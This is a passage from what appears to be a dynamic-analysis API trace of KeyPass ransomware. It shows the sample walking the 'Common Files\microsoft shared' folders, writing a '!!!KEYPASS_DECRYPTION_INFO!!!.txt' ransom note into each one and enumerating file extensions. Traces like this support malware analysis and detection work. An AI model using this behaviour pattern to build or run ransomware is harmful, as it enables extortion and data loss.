out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.845] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0239.846] GetFileType (hFile=0x514) returned 0x1 [0239.846] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.846] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.846] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.847] WriteFile (in: hFile=0x514, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.847] WriteFile (in: hFile=0x514, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.847] CloseHandle (hObject=0x514) returned 1 [0239.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05d40 [0239.847] FindNextFileW (in: hFindFile=0xd05d40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.848] FindNextFileW (in: hFindFile=0xd05d40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.848] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.848] FindNextFileW (in: hFindFile=0xd05d40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.848] FindNextFileW (in: hFindFile=0xd05b80, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0239.848] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0239.848] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0239.848] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.848] GetLastError () returned 0x3f0 [0239.848] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.848] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0239.848] GetFileType (hFile=0x518) returned 0x1 [0239.848] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0239.848] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0239.848] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0239.848] WriteFile (in: hFile=0x518, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0239.849] WriteFile (in: hFile=0x518, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0239.849] CloseHandle (hObject=0x518) returned 1 [0239.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd05ec0 [0239.850] FindNextFileW (in: hFindFile=0xd05ec0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.850] FindNextFileW (in: hFindFile=0xd05ec0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.850] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.850] FindNextFileW (in: hFindFile=0xd05ec0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.850] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.850] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.850] GetLastError () returned 0x3f0 [0239.850] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.850] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x51c [0239.851] GetFileType (hFile=0x51c) returned 0x1 [0239.851] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.851] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.851] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.851] WriteFile (in: hFile=0x51c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.852] WriteFile (in: hFile=0x51c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.852] CloseHandle (hObject=0x51c) returned 1 [0239.853] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05f40 [0239.853] FindNextFileW (in: hFindFile=0xd05f40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.853] FindNextFileW (in: hFindFile=0xd05f40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.853] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.853] FindNextFileW (in: hFindFile=0xd05f40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.853] FindNextFileW (in: hFindFile=0xd05ec0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0239.853] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0239.853] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0239.853] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.853] GetLastError () returned 0x3f0 [0239.853] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VC\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.853] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0239.854] GetFileType (hFile=0x50c) returned 0x1 [0239.855] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0239.855] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0239.855] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0239.855] WriteFile (in: hFile=0x50c, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0239.855] WriteFile (in: hFile=0x50c, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0239.856] CloseHandle (hObject=0x50c) returned 1 [0239.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd05bc0 [0239.856] FindNextFileW (in: hFindFile=0xd05bc0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.856] FindNextFileW (in: hFindFile=0xd05bc0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.856] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.856] FindNextFileW (in: hFindFile=0xd05bc0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.856] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned=".dll" [0239.856] FindNextFileW (in: hFindFile=0xd05bc0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.856] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned=".dll" [0239.856] FindNextFileW (in: hFindFile=0xd05bc0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0239.856] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0239.856] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0239.856] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.856] GetLastError () returned 0x3f0 [0239.856] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.856] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0239.857] GetFileType (hFile=0x520) returned 0x1 [0239.857] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0239.857] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0239.857] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0239.857] WriteFile (in: hFile=0x520, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0239.858] WriteFile (in: hFile=0x520, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0239.858] CloseHandle (hObject=0x520) returned 1 [0239.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd05a00 [0239.858] FindNextFileW (in: hFindFile=0xd05a00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.858] FindNextFileW (in: hFindFile=0xd05a00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.858] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.858] FindNextFileW (in: hFindFile=0xd05a00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.858] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned=".dll" [0239.858] FindNextFileW (in: hFindFile=0xd05a00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0239.858] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0239.858] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0239.858] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.859] GetLastError () returned 0x3f0 [0239.859] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.859] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524 [0239.860] GetFileType (hFile=0x524) returned 0x1 [0239.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0239.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0239.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0239.860] WriteFile (in: hFile=0x524, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0239.861] WriteFile (in: hFile=0x524, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0239.861] CloseHandle (hObject=0x524) returned 1 [0239.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd06000 [0239.861] FindNextFileW (in: hFindFile=0xd06000, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.861] FindNextFileW (in: hFindFile=0xd06000, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.861] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.861] FindNextFileW (in: hFindFile=0xd06000, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.861] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.861] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.861] GetLastError () returned 0x3f0 [0239.862] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.862] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0239.892] GetFileType (hFile=0x528) returned 0x1 [0239.892] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.892] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.892] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.893] WriteFile (in: hFile=0x528, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.893] WriteFile (in: hFile=0x528, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.893] CloseHandle (hObject=0x528) returned 1 [0239.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05f80 [0239.894] FindNextFileW (in: hFindFile=0xd05f80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.894] FindNextFileW (in: hFindFile=0xd05f80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.894] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.894] FindNextFileW (in: hFindFile=0xd05f80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.894] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.894] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2e53068 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.894] GetLastError () returned 0x3f0 [0239.894] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.894] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x52c [0240.734] GetFileType (hFile=0x52c) returned 0x1 [0240.734] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0240.734] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0240.734] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0240.734] WriteFile (in: hFile=0x52c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0240.735] WriteFile (in: hFile=0x52c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0240.735] CloseHandle (hObject=0x52c) returned 1 [0240.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd060c0 [0240.736] FindNextFileW (in: hFindFile=0xd060c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0240.736] FindNextFileW (in: hFindFile=0xd060c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0240.736] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0240.736] FindNextFileW (in: hFindFile=0xd060c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0240.736] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned=".dll" [0240.736] FindNextFileW (in: hFindFile=0xd060c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0240.736] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned=".dll" [0240.736] FindNextFileW (in: hFindFile=0xd060c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0240.736] FindNextFileW (in: hFindFile=0xd05f80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0240.736] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned=".exe" [0240.736] FindNextFileW (in: hFindFile=0xd05f80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0240.736] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned=".dll" [0240.736] FindNextFileW (in: hFindFile=0xd05f80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0240.736] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned=".dll" [0240.736] FindNextFileW (in: hFindFile=0xd05f80, lpFindFileData=0x2e4ead4 | out: 